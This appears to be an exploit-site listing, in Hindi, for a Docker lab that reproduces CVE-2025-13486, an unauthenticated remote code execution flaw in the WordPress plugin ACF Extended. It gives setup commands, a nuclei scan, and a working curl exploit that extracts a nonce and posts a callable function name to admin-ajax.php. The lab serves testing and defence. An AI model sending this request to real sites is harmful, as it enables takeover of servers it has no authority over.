Exploit for cve-2025-13486-vuln-setup

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KRE80R-CVE-2025-13486-VULN-SETUP
# CVE-2025-13486 कमजोर परीक्षण वातावरण

ACF Extended RCE कमजोरी के परीक्षण के लिए एक-बार Docker सेटअप।

## त्वरित आरंभ

root@kitploit:~
    
    
    # 1. प्लगइन्स डाउनलोड करें (एक बार चलाएं)
    ./download-plugins.sh
    
    # 2. वातावरण शुरू करें
    docker-compose up -d --build
    
    # 3. सेटअप के लिए ~30 सेकंड प्रतीक्षा करें, फिर परीक्षण करें
    nuclei -t CVE-2025-13486.yaml -u http://localhost:8888
    

## मैन्युअल प्लगइन सेटअप

यदि डाउनलोड स्क्रिप्ट विफल हो जाती है, तो इन फ़ाइलों को `plugins/` में मैन्युअल रूप से रखें:

  1. **ACF Pro** (आवश्यक निर्भरता)

     * यहाँ से डाउनलोड करें: https://www.advancedcustomfields.com/pro/
     * इस रूप में सहेजें: `plugins/acf-pro.zip`
  2. **ACF Extended 0.9.0.5** (कमजोर संस्करण)

     * यहाँ से डाउनलोड करें: https://downloads.wordpress.org/plugin/acf-extended.0.9.0.5.zip
     * इस रूप में सहेजें: `plugins/acf-extended.zip`



## एक्सप्लॉइट का परीक्षण

root@kitploit:~
    
    
    # होमपेज से nonce निकालें
    curl -s http://localhost:8888/ | grep -oP '"nonce":"([a-f0-9]+)"'
    
    # print_r के साथ RCE परीक्षण करें
    curl -X POST http://localhost:8888/wp-admin/admin-ajax.php \
      -d "action=acfe/form/render_form_ajax&nonce=<NONCE>&form[render]=print_r&form[test]=PWNED"
    

## सफाई

root@kitploit:~
    
    
    docker-compose down -v
    

## कमजोरी विवरण

  * **CVE** : CVE-2025-13486
  * **प्रभावित** : ACF Extended 0.9.0.5 - 0.9.1.1
  * **प्रकार** : `call_user_func_array()` के माध्यम से बिना प्रमाणीकरण के RCE
  * **CVSS** : 9.8 (गंभीर)